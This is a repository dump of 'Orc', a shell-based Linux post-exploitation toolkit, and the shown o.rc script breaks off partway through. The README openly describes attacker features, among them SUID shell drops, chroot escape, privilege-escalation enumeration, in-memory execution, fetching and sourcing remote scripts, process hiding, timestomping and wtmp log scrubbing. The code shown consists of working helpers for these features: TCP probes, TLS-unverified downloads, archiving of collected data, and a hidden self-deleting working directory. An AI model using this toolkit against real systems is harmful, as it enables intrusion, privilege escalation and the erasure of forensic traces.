├── .travis.yml ├── LICENSE ├── README.md ├── o.rc ├── resources ├── README.md ├── echo_arguments.c ├── echo_arguments.sh ├── echo_function.sh ├── encode_perl_script.sh ├── encode_python_script.sh ├── memexec.pl └── memexec.py └── tests ├── README.md ├── run_shunit2_int.sh ├── run_shunit2_user.sh ├── scripts_included.sh └── start_shunit2.sh /.travis.yml: -------------------------------------------------------------------------------- 1 | language: minimal 2 | 3 | # All available Linux distributions with language minimal: 4 | # Ubuntu 18.04 (Bionic Beaver) 5 | # Ubuntu Xenial 16.04 6 | # Ubuntu Trusty 14.04 7 | # Ubuntu Precise 12.04 has reached EOL and is not supported by Travis. 8 | matrix: 9 | include: 10 | - os: linux 11 | dist: trusty 12 | - os: linux 13 | dist: xenial 14 | - os: linux 15 | dist: bionic 16 | 17 | addons: 18 | apt: 19 | packages: 20 | - bash 21 | - dash 22 | - mksh 23 | - shellcheck 24 | 25 | script: 26 | # 27 | # Static code check with shellcheck tool 28 | # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 29 | # 30 | # Checks o.rc for bash, POSIX shell, dash and ksh 31 | - shellcheck -s bash o.rc 32 | - shellcheck -s sh o.rc 33 | - shellcheck -s dash o.rc 34 | - shellcheck -s ksh o.rc 35 | # Checks the helper scripts in resources 36 | - shellcheck resources/*.sh 37 | # Checks the helper scripts in tests 38 | - shellcheck tests/*.sh 39 | # 40 | # Run the defined shell test scripts 41 | # 42 | - tests/scripts_included.sh 43 | # 44 | # Run the defined shunit2 test scripts 45 | # 46 | - tests/start_shunit2.sh bash 47 | - tests/start_shunit2.sh dash 48 | - tests/start_shunit2.sh ksh 49 | 50 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 March 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Orc is a simple post-exploitation written in bash. 2 | 3 | Authors: Darren Martyn, March, Ulrich Berntien 4 | 5 | ## The Project 6 | 7 | IRC Channel: #orc on irc.hackint.eu 8 | 9 | I initially wrote this because I myself needed a more featureful post-exploitation toolkit for Linux. It's part of a larger bundle of scripts and tools, but I'll add those as I write and re-write them. 10 | 11 | ## Script Start 12 | 13 | It takes the form of an ENV script, so load orc into a shell by running ENV=o.rc sh -i (it does need an interactive shell, I'm afraid) 14 | You can also source it. 15 | 16 | It creates a directory (.q) typical in /dev/shm, and all output of commands etc tend to go in there. 17 | It will also auto-delete this directory on exit. 18 | If /dev/shm does not exist or is mounted with noexec option, then the script can choose another directory. 19 | The used directory is stored in the HOME variable. The user account home directory is stored in the NHOME variable. 20 | 21 | HISTFILE is unset, and we use ulimit -c 0 to try and prevent any corefiles showing up. If ulimit isn't present, we'll try and use the limit coredumpsize command. 22 | 23 | ## Functions 24 | 25 | It also contains a relatively decent selection of useful functions: some are currently not super featureful, and there's likely to be a large number of bugs, but you can find the vast majority of them by running the command 'gethelp'. 26 | HOWEVER. An overview: 27 | 28 | - dropsuid basically drops a tiny SUID shell written in ASM wherever. You'll need to chmod a+sx it. ([Wiki](https://github.com/zMarch/Orc/wiki/dropsuid)) 29 | 30 | - fpssh is just a wrapper around ssh-keyscan. ([Wiki](https://github.com/zMarch/Orc/wiki/fpssh)) 31 | 32 | - getdbus lists all dbus services for delicious priv-esc. ([Wiki](https://github.com/zMarch/Orc/wiki/getdbus)) 33 | 34 | - getdocker checks if the docker socket in /var/run/docker.sock exists, if we have write access, and then if we do, runs docker ps. ([Wiki](https://github.com/zMarch/Orc/wiki/getdocker)) 35 | 36 | - getenum takes the versions from the kernel, glibc, and dbus. For privilege escalation exploits, they're usually the ones you want. It also prints the init system, because it's good to know that. ([Wiki](https://github.com/zMarch/Orc/wiki/getenum)) 37 | 38 | - getescape attempts to find a way to escape a chroot by traversing a poorly configured /proc/. ([Wiki](https://github.com/zMarch/Orc/wiki/getescape)) 39 | 40 | - getexploit pulls down the linux exploit suggester ([Wiki](https://github.com/zMarch/Orc/wiki/getexploit)) 41 | 42 | - getgtfobins pulls down the list of current gtfobins and checks to see which are installed in your $PATH ([Wiki](https://github.com/zMarch/Orc/wiki/getgtfobins)) 43 | 44 | - getsctp checks if SCTP support is enabled. ([Wiki](https://github.com/zMarch/Orc/wiki/getsctp)) 45 | 46 | - getidle gives you an accurate idle time for ptys, letting you see how recently other users have been active. ([Wiki](https://github.com/zMarch/Orc/wiki/getidle)) 47 | 48 | - getinfo pulls basically everything useful and generic i could think of and sticks it in a tar.xz file for you. ([Wiki](https://github.com/zMarch/Orc/wiki/getinfo)) 49 | 50 | - getip uses HTTP and DNS to get your external IP. It aims to use curl and dig, but will fall back to wget and host if it needs to. It grabs these from Akami and Google respectively to try and avoid using smaller sites that might flag in a SOC's logs or alerts. ([Wiki](https://github.com/zMarch/Orc/wiki/getip)) 51 | 52 | - getjail does a check to see if we're in a chroot, and then does some very basic checks for hypervisors/virtualisation. If there are any better checks, let me know. ([Wiki](https://github.com/zMarch/Orc/wiki/getjail)) 53 | 54 | - getluks uses lsblk to look for partitions of type crypt, indicating disk crypto. ([Wiki](https://github.com/zMarch/Orc/wiki/getluks)) 55 | 56 | - getnet does some basic network enumeration with arp and known_hosts. ([Wiki](https://github.com/zMarch/Orc/wiki/getnet)) 57 | 58 | - getpty pops a pty using script. This pty should have Orc already loaded. ([Wiki](https://github.com/zMarch/Orc/wiki/getpty)) 59 | 60 | - getrel prints the OS name from the release file. ([Wiki](https://github.com/zMarch/Orc/wiki/getrel)) 61 | 62 | - getsec checks for the presence of SELinux, AppArmor, and GrSec. I thought about adding stuff for rkhunter/chkrootkit, but in my experience they're not much of a threat unless you're using rootkits from 2003. ([Wiki](https://github.com/zMarch/Orc/wiki/getsec)) 63 | 64 | - getsfiles lists setuid flagged files and setcap files. ([Wiki](https://github.com/zMarch/Orc/wiki/getsfiles)) 65 | 66 | - getspec prints some basic hardware information. ([Wiki](https://github.com/zMarch/Orc/wiki/getspec)) 67 | 68 | - getsuspect pulls down my suspect script and runs it, looking for malware or signs of compromise. ([Wiki](https://github.com/zMarch/Orc/wiki/getsuspect)) 69 | 70 | - gettmp lists typical directories for tmp files. ([Wiki](https://github.com/zMarch/Orc/wiki/gettmp)) 71 | 72 | - getusers gets all users with a shell. ([Wiki](https://github.com/zMarch/Orc/wiki/getusers)) 73 | 74 | - getuservices gets all processes running by users who don't have a shell. Useful. ([Wiki](https://github.com/zMarch/Orc/wiki/getuservices)) 75 | 76 | - memexec uses some janky perl (see https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html who I stole much of the basis of it for) to execute a binary in-memory. No arguments or anything yet, and only x64 supported. ([Wiki](https://github.com/zMarch/Orc/wiki/memexec)) 77 | 78 | - portscan should be fairly self-evident. It checks for the following open ports on one host: 21, 22, 23, 80, 443, 8080, 8443, 129, 445, 3389, 3306. ([Wiki](https://github.com/zMarch/Orc/wiki/portscan)) 79 | 80 | - prochide grabs the longest process name from ps (because we can't hide arguments, but we can choose something that makes them relatively invisible in the noise) and uses that as the $0 of whatever you execute. ([Wiki](https://github.com/zMarch/Orc/wiki/prochide)) 81 | 82 | - qssh uses an ASKPASS script to launch ssh without requiring a tty. Apply arguments as usual. ([Wiki](https://github.com/zMarch/Orc/wiki/qssh)) 83 | 84 | - qsu uses an ASKPASS script to launch sudo without requiring a tty. Apply arguments as usual to sudo. ([Wiki](https://github.com/zMarch/Orc/wiki/qsu)) 85 | 86 | - sourceurl sources a file via http or https download. ([Wiki](https://github.com/zMarch/Orc/wiki/sourceurl)) 87 | 88 | - srm is just a wrapper around shred, basically. ([Wiki](https://github.com/zMarch/Orc/wiki/srm)) 89 | 90 | - stomp is just an alias for "touch -r". ([Wiki](https://github.com/zMarch/Orc/wiki/stomp)) 91 | 92 | - tools checks for common tools. ([Wiki](https://github.com/zMarch/Orc/wiki/tools)) 93 | 94 | - wiper uses utmpdump to dump wtmp into plain text and then greps out the string given as an argument. It then repacks the modified file into /var/log/wtmp, and ensures that the file is nicely time stomped. ([Wiki](https://github.com/zMarch/Orc/wiki/wiper)) 95 | 96 | ## Build Status 97 | 98 | Tests of the Orc script file are executed automatically with the [Travis CI](https://travis-ci.org/) service. 99 | 100 | [ShellCheck](https://www.shellcheck.net/) is used to ensure wide compatibility of the Orc script. 101 | The Bourne shell dialects: bash, dash, sh and ksh are checked. 102 | 103 | Scripts in the tests sub-directory automatically tests Orc functions. Current the tests are in construction. 104 | The tests will be widened over the time. 105 | 106 | For details see the Travis CI job log. 107 | 108 | [![Build Status](https://api.travis-ci.org/zMarch/Orc.svg?branch=master)](https://travis-ci.org/zMarch/Orc) 109 | 110 | -------------------------------------------------------------------------------- /o.rc: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # o.rc 3 | OVERSION="0.6" 4 | # NOTES 5 | #authors: March, Darren Martyn, Ulrich Berntien 6 | 7 | # ~~~ Compatibility Layer ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 8 | # 9 | # In the compatibility layer the functions to handle the differences 10 | # between different Unix flavors, shell types are collected. 11 | # Functions outside the compatibility layer call functions in this 12 | # layer or call tools/programs common for all Unix flavors. 13 | # 14 | 15 | 16 | # orc_local 17 | # 18 | # Local variables are a useful help but some shells support 'local', 19 | # some shells support 'typeset' and some shells support both. 20 | # Here the alias orc_local is defined to ensure a wide support. 21 | # Use orc_local only in the form 'orc_local var' not in the form 22 | # 'orc_local var=value' because the second form is not supported by 23 | # all shells. Also orc_local should be the first statement in a 24 | # function. 25 | if command -v local > /dev/null; then 26 | # dash, bash, ash, mksh supports local 27 | alias orc_local='local' 28 | elif command -v typeset > /dev/null; then 29 | # ksh, mksh, bash supports typeset 30 | alias orc_local='typeset' 31 | else 32 | alias orc_local='orc_noop' 33 | echo "Warning: no local variables could cause trouble" >&2 34 | fi 35 | 36 | 37 | orc_noop() { 38 | # No operation. 39 | return 40 | } 41 | 42 | 43 | # Variable orc_colorNever 44 | # 45 | # Some modern grep tools uses colored output. With the switch 46 | # --color=never the colored output is switched of. Old grep 47 | # tools, like busybox grep, never uses color and don't 48 | # understand the --color switch 49 | # The variable orc_colorNever is use to support both grep 50 | # tools. 51 | # Usage: grep $orc_colorNever ... 52 | # Use the variable with out quotation. With quotes the empty 53 | # string will be used as argument. 54 | if echo 'test' | grep --color=never -q 'test' 2> /dev/null; then 55 | orc_colorNever='--color=never' 56 | else 57 | orc_colorNever='' 58 | fi 59 | 60 | 61 | # orc_existsTestCommand 62 | # 63 | # A check for a program or shell command could be executed 64 | # by a hash or a type command. The hash command works in 65 | # the bash and dash but not in the ksh. The type command 66 | # works in bash, dash and ksh but is not POSIX conform. 67 | # So try to figure out which command works and define an 68 | # alias to the command. 69 | # A variable instead an alias does not work with ksh. 70 | if hash ' not a program ' > /dev/null 2> /dev/null; then 71 | alias orc_existsTestCommand='type' 72 | else 73 | alias orc_existsTestCommand='hash' 74 | fi 75 | 76 | # Check the alias orc_existsTestCommand 77 | if orc_existsTestCommand ' not a program ' > /dev/null 2> /dev/null; then 78 | echo 'Error: can not find a tool for program exist checks' >&2 79 | fi 80 | if ! orc_existsTestCommand cp > /dev/null 2> /dev/null; then 81 | echo 'Error: can not find a tool for program exist checks' >&2 82 | fi 83 | 84 | 85 | orc_existsProg () { 86 | # Checks if a program/command exists. 87 | # Argument: Program/command name to check. 88 | # Exit status: 0 if one ore more programs do not exists. 89 | if [ $# -lt 1 ]; then 90 | echo 'Error: missing program name to check' >&2 91 | return 1; 92 | fi 93 | orc_existsTestCommand "$@" > /dev/null 2> /dev/null 94 | } 95 | 96 | 97 | orc_listArp() { 98 | # List IP addresses in the ARP table. 99 | # List only resolved addresses. 100 | # Arguments: None 101 | # Output to stdout: List of IP addresses, one address per line 102 | if orc_existsProg arp; then 103 | # use short switches -a, -n because the long versions are not 104 | # supported on all systems, e.g. on busybox. 105 | arp -na | grep $orc_colorNever -iv 'incomplete' | orc_filterIpAddress 106 | elif orc_existsProg ip; then 107 | ip neigh show | grep $orc_colorNever -iv 'FAILED' | orc_filterIpAddress 108 | else 109 | echo 'Error: Can not list ARP content. Found no tool' >&2 110 | fi 111 | } 112 | 113 | 114 | orc_listBroadcastAddress() { 115 | # List the broadcast addresses of interfaces. 116 | # Arguments: None 117 | # Output to stdout: IPv4 broadcast addresses, one per line 118 | if orc_existsProg ifconfig; then 119 | # Attention: ifconfig output is different on the systems. 120 | # The up/down status is not checked because it may fail on different 121 | # output formats. 122 | ifconfig | 123 | awk ' 124 | match($0,/inet.* broadcast +([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { 125 | # ifconfig version nettools 2.10 126 | split(substr($0,RSTART,RLENGTH),tmp ) 127 | print tmp[2] } 128 | match($0,/Bcast[: ]+([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { 129 | # ifconfig version busybox 1.27 130 | split(substr($0,RSTART,RLENGTH),tmp,/[: ]+/) 131 | print tmp[2] }' 132 | elif orc_existsProg ip; then 133 | ip addr show | 134 | awk ' 135 | match($0,/brd +([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { 136 | split(substr($0,RSTART,RLENGTH),tmp) 137 | print tmp[2] }' 138 | else 139 | echo 'Error: can not list broadcast addresses. Found no tool' >&2 140 | fi 141 | } 142 | 143 | 144 | orc_inetAddressAndMask() { 145 | # Lists the IPv4 addresses and netmask of the interfaces. 146 | # Arguments: None 147 | # Output to stdout: Address and mask space separated. 148 | # One line per active interface 149 | if orc_existsProg ifconfig; then 150 | ifconfig | 151 | awk ' 152 | match($0,/inet +[0-9\.]+ +netmask +[0-9\.]+ +broadcast/) { 153 | # matching ifconfig 2.10 Linux 154 | split(substr($0,RSTART,RLENGTH),item) 155 | print item[2] " " item[4] 156 | } 157 | match($0,/inet +addr[: ]+[0-9\.*]+ +Bcast[: ]+[0-9\.]+ +Mask[: ]+[0-9\.]+/) { 158 | # matching ifconfig Busybox 1.27 159 | split(substr($0,RSTART,RLENGTH),item,/[: ]+/) 160 | print item[3] " " item[7] 161 | }' 162 | elif orc_existsProg ip; then 163 | ip addr show | 164 | awk ' 165 | match($0,/inet +[0-9\.]+\/[0-9]+ brd/) { 166 | split(substr($0,RSTART,RLENGTH),item,/[\/ ]+/) 167 | print item[2] " " item[3] 168 | }' | 169 | while read -r addr bits; do 170 | echo "$addr" "$(orc_lengthToIP4netmask "$bits")" 171 | done 172 | else 173 | echo "Error: can not list IP addresses, no tool found" >&2 174 | fi 175 | } 176 | 177 | 178 | orc_exportProxySettings () { 179 | # Export http and https proxy settings in some formats. 180 | # Arguments: None 181 | # Global: http(s)_proxy variables will be used. 182 | # 183 | # A proxy could be set via environment variables to the tools. 184 | # But some tools in some versions needs lower case and some 185 | # needs upper case variable names. To increase portability 186 | # both cases will be exported. 187 | export http_proxy 188 | export HTTP_PROXY 189 | if [ -n "$http_proxy" ]; then 190 | if [ -n "$HTTP_PROXY" ] && [ "$HTTP_PROXY" != "$http_proxy" ]; then 191 | echo 'Warning: ignore HTTP_PROXY value and use http_proxy value' >&2 192 | fi 193 | HTTP_PROXY=$http_proxy 194 | elif [ -n "$HTTP_PROXY" ]; then 195 | http_proxy=$HTTP_PROXY 196 | fi 197 | export https_proxy 198 | export HTTPS_PROXY 199 | if [ -n "$https_proxy" ]; then 200 | if [ -n "$HTTPS_PROXY" ] && [ "$HTTPS_PROXY" != "$https_proxy" ]; then 201 | echo 'Warning: ignore HTTPS_PROXY value and use https_proxy value' >&2 202 | fi 203 | HTTPS_PROXY=$https_proxy 204 | elif [ -n "$HTTPS_PROXY" ]; then 205 | https_proxy=$HTTPS_PROXY 206 | fi 207 | } 208 | 209 | 210 | orc_loadURL () { 211 | # Loads from an URL via curl, wget or perl. 212 | # Argument: The URL to download, https is supported. 213 | # Output to stdout: The content of the URL document. 214 | # Global: http(s)_proxy variables will be used. 215 | if [ $# -ne 1 ]; then 216 | echo 'Error: argument must be one URL to load' >&2 217 | return 1 218 | fi 219 | orc_exportProxySettings 220 | if orc_existsProg curl; then 221 | curl --silent --location --insecure -- "$1" 222 | elif orc_existsProg wget; then 223 | wget --quiet --no-check-certificate --output-document=- -- "$1" 224 | elif orc_existsProg perl; then 225 | perl -e 'use LWP::Simple qw ($ua head get); 226 | $url = $ARGV[0]; 227 | $ua->ssl_opts(verify_hostname => 0,SSL_verify_mode => 0x00); 228 | print get $url; 229 | ' -- "$1" 230 | elif orc_existsProg python; then 231 | # Do not insert the code because python is insert sensitive. 232 | PYTHONHTTPSVERIFY=0 python -c ' 233 | import sys, urllib2 234 | request = urllib2.urlopen(sys.argv[1]) 235 | sys.stdout.write(request.read()) 236 | ' "$1" 237 | else 238 | echo 'Error: no download tool found' >&2 239 | return 1 240 | fi 241 | } 242 | 243 | 244 | orc_tryTcpConnection () { 245 | # Try to open a TCP connection to given host and port. 246 | # Argument: host name or host IP address 247 | # TCP port number 248 | # Return: 0 if and only if TCP connection could be opened 249 | if [ $# -ne 2 ]; then 250 | echo 'Error: need host and TCP port as arguments' >&2 251 | return 1 252 | fi 253 | if orc_existsProg bash; then 254 | # Open a connection with the bash. 255 | # This is a bash extension. POSIX shell will not support this. 256 | bash -c "echo '' > /dev/tcp/$1/$2" 2>/dev/null 257 | elif orc_existsProg nmap; then 258 | # TCP connect scan with nmap 259 | nmap -oG - -Pn -sT -p "$2" "$1" | grep -q '/open/tcp/' 260 | elif orc_existsProg perl; then 261 | perl -e 'use IO::Socket; 262 | $s = IO::Socket::INET->new( 263 | PeerAddr => $ARGV[0], PeerPort => $ARGV[1], 264 | Proto => "tcp", Type => SOCK_STREAM) 265 | or exit 1; 266 | close $s; 267 | ' -- "$1" "$2" 268 | elif orc_existsProg python; then 269 | # TCP connection open with python version 2 270 | # Do not insert the code because python is insert sensitive. 271 | python -c ' 272 | import socket,sys 273 | try: 274 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 275 | s.connect((sys.argv[1],int(sys.argv[2]))) 276 | except: 277 | sys.exit(1) 278 | sys.exit(0) 279 | ' "$1" "$2" 280 | elif orc_existsProg nc; then 281 | # Open connection with netcat 282 | # Do not use option -N here because not all nc implementations support 283 | # this (e.g. busybox). 284 | echo '' | nc -w1 "$1" "$2" 2>/dev/null 285 | else 286 | echo 'Error: no tool to open TCP connection found' >&2 287 | return 1 288 | fi 289 | } 290 | 291 | 292 | orc_listTmp() { 293 | # List tmpfs directories with access information. 294 | # Search in the list of tmpfs filesystem and in a list of common 295 | # file destinations. 296 | # Use simple df call to keep script compatible to the most systems. 297 | # -l, -t, --output is not available on some systems, e.g. busybox. 298 | { df -P; 299 | echo '/dev/shm'; 300 | echo "$XDG_RUNTIME_DIR"; 301 | echo '/tmp'; 302 | echo '/var/tmp'; 303 | echo "$TMPDIR"; 304 | echo "$HOME"; 305 | echo "$NHOME"; 306 | echo '/root'; 307 | } | 308 | # filter: filesystem tmpfs and each directory only once 309 | awk '(NF==1 || $1=="tmpfs") && hit[$NF]==0 {hit[$NF]=1; print $NF}' | 310 | # filter: only existing directories 311 | while read -r i; do 312 | if [ -d "$i" ]; then 313 | echo "$i" 314 | fi 315 | done 316 | } 317 | 318 | 319 | orc_makeHome() { 320 | # Creates a home directory. 321 | # Sets the variable $HOME to this new created directory. 322 | # Searchs a temporary directory without noexec flag as base. 323 | for base in $(orc_listTmp); do 324 | if [ ! -r "$base" ] || [ ! -w "$base" ] || [ ! -x "$base" ]; then 325 | # no read, no write or no search-able access 326 | continue 327 | fi 328 | # Try to create a home directory 329 | mkdir "$base/.q" 2>/dev/null 330 | # Also possible to reuse an existing directory 331 | if [ -d "$base/.q" ]; then 332 | # try to create an executable 333 | echo '#!/bin/sh' > "$base/.q/.t" 334 | chmod +x "$base/.q/.t" 335 | # test and call the created script. 336 | # On systems (e.g. busybox) the call failed but the test pass 337 | if [ ! -x "$base/.q/.t" ] || ! "$base/.q/.t" 2>/dev/null; then 338 | # can not create a executable 339 | # remove test file; use -f to prevent any prompt 340 | rm -f "$base/.q/.t" 341 | rmdir "$base/.q" 342 | continue 343 | fi 344 | rm -f "$base/.q/.t" 345 | # this is a good home 346 | HOME="$base/.q" 347 | return 348 | fi 349 | done 350 | # no good home directory found. Use /dev/shm/.q as error fallback 351 | echo 'Warning: found no good home directory, some functions may fail' >&2 352 | HOME="/dev/shm/.q" 353 | mkdir $HOME 2>/dev/null 354 | } 355 | 356 | 357 | orc_archive () { 358 | # Archive a directory content in a file. 359 | # Uses tar, zip or ar. 360 | # Arguments: Base name of the archive file. 361 | # Directory to archive. 362 | # Return: 0 if and only if archive file creation was ok. 363 | # Globals: Set ORC_ARCHIV_FILE to the name of the created file. 364 | if [ $# -ne 2 ]; then 365 | echo 'Error: archiver needs two arguments' >&2 366 | return 1 367 | fi 368 | if [ ! -d "$2" ] || [ ! -r "$2" ]; then 369 | echo "Error: archiver can not read $2" >&2 370 | return 1 371 | fi 372 | # Now no archive file exists. Reset any old content. 373 | ORC_ARCHIVE_FILE="" 374 | if orc_existsProg tar; then 375 | # try tar with internal xz compression 376 | tar -cJf "$1.tar.xz" "$2" && ORC_ARCHIVE_FILE="$1.tar.xz" 377 | if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg xz; then 378 | # try tar with external xz compression 379 | { tar -cf "$1.tar" "$2" && xz -9 "$1.tar" && ORC_ARCHIVE_FILE="$1.tar.xz"; } || rm -f "$1.tar" 380 | fi 381 | if [ -z "$ORC_ARCHIVE_FILE" ]; then 382 | # try the old gzip inside tar 383 | tar -czf "$1.tar.gz" "$2" && ORC_ARCHIVE_FILE="$1.tar.gz" 384 | fi 385 | if [ -z "$ORC_ARCHIVE_FILE" ]; then 386 | # try tar without compression 387 | tar -cf "$1.tar" "$2" && ORC_ARCHIVE_FILE="$1.tar" 388 | fi 389 | fi 390 | if [ -z "$ORC_ARCHIVE_FILE" ] && orc_existsProg zip; then 391 | # try to zip the files 392 | zip -9Xrq "$1.zip" "$2" && ORC_ARCHIVE_FILE="$1.zip" 393 | fi 394 | if [ -z "$ORC_ARCHIVE_FILE" ]; then 395 | echo 'Error: no working archive tool found' >&2 396 | return 1 397 | fi 398 | } 399 | 400 | 401 | # ~~~ Helper Functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 402 | # 403 | # In the section of the internal helper functions are collected. 404 | # The helper functions are typical not called by the user of o.rc 405 | # Some user level functions uses the functions and variables defined 406 | # in the helper functions section. 407 | # 408 | 409 | 410 | alias 'echo'='/bin/echo' 411 | 412 | 413 | # Create home directory and prepare remove at script exit 414 | orc_makeHome 415 | if [ ! -d "$HOME" ]; then 416 | echo 'Error: can not find a home directory' >&2 417 | exit 1 418 | fi 419 | trap 'rm -rf $HOME' EXIT TERM INT 420 | 421 | 422 | # Creates a copy of this script in variable backup 423 | # Should be start like "ENV=o.rc sh -i". 424 | backup='' 425 | if [ -n "$BASH" ]; then 426 | # Script runs in bash. Here BASH_SOURCE exists. 427 | # shellcheck disable=SC2169,SC2039 428 | if [ -r "${BASH_SOURCE[0]}" ] && [ ! -r "$ENV" ]; then 429 | # Script was started in bash via source. 430 | ENV=${BASH_SOURCE[0]} 431 | fi 432 | fi 433 | if [ -r "$ENV" ]; then 434 | backup=$(cat "$ENV") 435 | # Convert to absolute file name for later use. 436 | ENV=$(readlink -f "$ENV") 437 | fi 438 | if [ -z "$backup" ]; then 439 | echo 'Warning: backup variable with script file is not available' >&2 440 | fi 441 | NHOME='' 442 | 443 | 444 | orc_createEchoFile () { 445 | # Creates a shell script file which echos the arguments. 446 | # Argument: Text to echo. 447 | # Global: set $ORC_ECHO_FILE to the created file. 448 | if [ $# -lt 1 ]; then 449 | echo 'Error: missing text to echo' >&2 450 | return 1 451 | fi 452 | if [ "$HOME" = "" ]; then 453 | echo 'Error: HOME variable is empty' >&2 454 | return 1 455 | fi 456 | # Create the script file in the prepared HOME directory 457 | ORC_ECHO_FILE="$HOME/.c" 458 | echo '#!/bin/sh' > "$ORC_ECHO_FILE" 459 | if [ ! -r "$ORC_ECHO_FILE" ]; then 460 | echo 'Error: can not create echo file' >&2 461 | return 1 462 | fi 463 | # Limit access to the owner 464 | chmod a-rw,u=rwx "$ORC_ECHO_FILE" 465 | # The text must be single-quoted to prevent changes by the shell 466 | echo "echo '$*'" >> "$ORC_ECHO_FILE" 467 | } 468 | 469 | 470 | orc_httpsProxyReminder() { 471 | # Remind the user if https_proxy is not set and 472 | # tcp connection error to the server at port 443. 473 | # Argument: Name or IP address of the server. 474 | # Output to stdout: Reminder. 475 | # Global: https_proxy variable is checked. 476 | if [ $# -ne 1 ]; then 477 | echo 'Error: missing host name' >&2 478 | return 1 479 | fi 480 | if [ -z "$https_proxy" ] && [ -z "$HTTPS_PROXY" ]; then 481 | # no proxy is defined. 482 | if ! orc_tryTcpConnection "$1" 443; then 483 | # no connection and no proxy: remind 484 | echo 'Info: connection problem, https_proxy could be needed' >&2 485 | return 2 486 | fi 487 | fi 488 | # else: if https_proxy is defined, then never remind 489 | return 0 490 | } 491 | 492 | 493 | orc_log2outp() { 494 | # Runs a command and writes output to files in $OUTP. 495 | # arguments: basename command command-arguments 496 | # outputs: pipes stdout into $OUTP/basename.txt 497 | # pipes stderr into $OUTP/basename.err 498 | # logs basename and command call in $OUTP/log.txt 499 | if [ ! -d "$OUTP" ]; then 500 | echo 'Error: output directory not defined or prepared' >&2 501 | return 1 502 | fi 503 | if [ $# -lt 1 ]; then 504 | echo 'Error: missing basename of the output files' >&2 505 | return 1 506 | fi 507 | echo "$@" >> "$OUTP/log.txt" 508 | basename=$1 509 | shift 510 | if [ $# -lt 1 ]; then 511 | echo 'Error: missing command to execute' >&2 512 | return 1 513 | fi 514 | "$@" >> "$OUTP/$basename.txt" 2>> "$OUTP/$basename.err" 515 | } 516 | 517 | 518 | orc_listUsers() { 519 | # Listing users in passwd with login shells. 520 | # Reject shells named *nologin or *false as valid shells. 521 | getent passwd | 522 | awk -F ':' ' 523 | NF==1 && $1 !~ /^#|nologin$|false$/ {shells[$1]=1} 524 | $7 in shells {print $1}' /etc/shells - 525 | } 526 | 527 | 528 | orc_homeOfUserID () { 529 | # Gets the home directory of the user. 530 | # Argument: ID of the user. 531 | # Output to stdout: home directory 532 | if [ $# -ne 1 ]; then 533 | echo 'Error: argument user-id must be given' >&2 534 | return 1 535 | fi 536 | getent passwd | 537 | awk -F ':' -v userid="$1" '$3 == userid {print $6}' 538 | } 539 | 540 | 541 | orc_homeOfCurrentUser () { 542 | # Gets the home directory of the current user. 543 | # Argument: - 544 | # Output to stdout: home directory 545 | orc_homeOfUserID "$(id -u)" 546 | } 547 | 548 | 549 | orc_ourPts() { 550 | # Get our PTS. 551 | # Writes nothing if not connected to a PTS. 552 | mytty=$(tty) 553 | mypts=${mytty#/dev/pts/} 554 | # Check if it is a pts device 555 | if [ "/dev/pts/$mypts" = "$mytty" ]; then 556 | echo "$mypts" 557 | fi 558 | } 559 | 560 | 561 | orc_isMinimalOsVersion() { 562 | # Checks the OS name and version. 563 | # Arguments: OS name (e.g. Linux) 564 | # First part of the version number 565 | # Second part of the version number 566 | # Return: 0 if OS name is equal and version is equal or greater. 567 | # 1 if OS name is not equal 568 | # 2 if OS name is equal but version is less. 569 | orc_local first rest 570 | if [ $# -ne 3 ]; then 571 | echo 'Error: missing arguments: name, version1, version2' >&2 572 | return 9 573 | fi 574 | # use the short options -s and -n because not all uname tools 575 | # support the long option names, e.g. busybox. 576 | if [ "$1" != "$(uname -s)" ]; then 577 | return 1 578 | fi 579 | rest=$(uname -r) 580 | first=${rest%%.*} 581 | if [ "$first" -gt "$2" ]; then 582 | return 0; 583 | elif [ "$first" -lt "$2" ]; then 584 | return 2; 585 | fi 586 | # first part of the version number is equal 587 | rest=${rest#*.} 588 | first=${rest%%.*} 589 | if [ "$first" -lt "$3" ]; then 590 | return 2 591 | fi 592 | # second part of the version number is greater or equal 593 | return 0 594 | } 595 | 596 | 597 | orc_filterIpAddress() { 598 | # Filters strings look like an IPv4 or IPv6 address. 599 | # The function reads stdin and writes to stdout. 600 | # Maximal one address per line will pass the filter. 601 | # The filter passes all valid IPv4 addresses. 602 | # Some valid IPv6 are do not pass the filter. 603 | # Ethernet addresses do not pass. 604 | # Arguments: none 605 | # The awk script support gawk and mawk. The match(s,p,a) 606 | # is not supported by mawk. Also the pattern repeat operator 607 | # {n} is not supported by mawk. Hence the pattern are 608 | # more complicated. 609 | awk ' 610 | match($0,/([0-9][0-9]?[0-9]?\.)+[0-9][0-9]?[0-9]?/) { 611 | # it is a IPv4 address 612 